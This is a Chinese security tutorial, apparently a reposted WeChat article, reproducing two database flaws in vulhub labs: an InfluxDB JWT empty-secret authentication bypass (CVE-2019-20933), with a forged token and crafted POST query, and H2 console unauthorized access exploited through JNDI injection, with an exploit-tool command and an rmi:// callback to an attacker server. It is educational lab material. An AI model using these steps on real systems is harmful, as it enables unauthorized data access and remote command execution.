什么是服务?
在服务器操作系统安装的时候,会装了比较多的服务。如我们在安装使用mysq数据库时,默认情况下就会开启mysql服务和服务默认端口3306。这些服务就可能产生漏洞。
服务漏洞测试流程:
案例演示:Influxdb-未授权访问-Jwt验证不当
漏洞产生版本和原因:
1.7.6 之前的 InfluxDB 在services/httpd/handler.go 中的身份验证函数中存在身份验证绕过漏洞,因为 JWT 令牌可能具有空的共享密钥(也称为共享密钥)
使用vulhub靶场开启CVE-2019-20933漏洞环境:
访问环境发现啥也不是
访问/debug/vars可以看到一些系统信息和数据库版本信息1.6.6,说明存在漏洞
访问/query,提示需要登录
我们可以使用https://jwt.io/ 生成一个带有空密钥的有效 JWT 令牌来绕过身份验证:
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 1696118888
}
其中 username 是管理员帐户名, exp 是令牌过期时间。我们要将 exp 设置为将来的时间使其生效,以上令牌过期时间是2023年10月1日8点8分8秒。
注意:生成jwt令牌时验证签名要为空
时间戳生成网址:https://www.w3cschool.cn/tools/index?name=timestamptrans
抓取/query页面的数据包,将Get请求更改为Post请求,在请求中添加令牌,并且添加 POST 请求键值对:db=sample&q=showusers
然而发包却返回400,最后发现是需要在请求中添加:Content-Type:application/x-www-form-urlencoded用来指示资源的MIME类型。
加上Content-Type重新发包,成功查询到结果
案例演示:H2database-未授权访问-配置不当
漏洞产生原因:
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权和默认端口:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
使用vulhub靶场开启H2 Database Console 未授权访问漏洞环境
访问发现啥也不是
访问/h2-console/来到H2 database的默认管理页面
下载漏洞利用工具:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
在攻击者要接收请求的服务器上执行命令:
参数:-C要执行的命令-A 接收请求的服务器ip
命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A "服务器ip"
来到目标数据库管理页面填写连接表格:
JNDI 工厂类名:javax.naming.InitialContext
生成的rmi协议地址:rmi://x.x.x.x/xxx
点击链接,攻击者服务器成功接收到目标请求
命令执行成功,目标tmp目录下成功生成一个success文件
未连接时
连接后
原文始发于微信公众号(小黑子安全):数据库安全-Influxdb+H2 复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论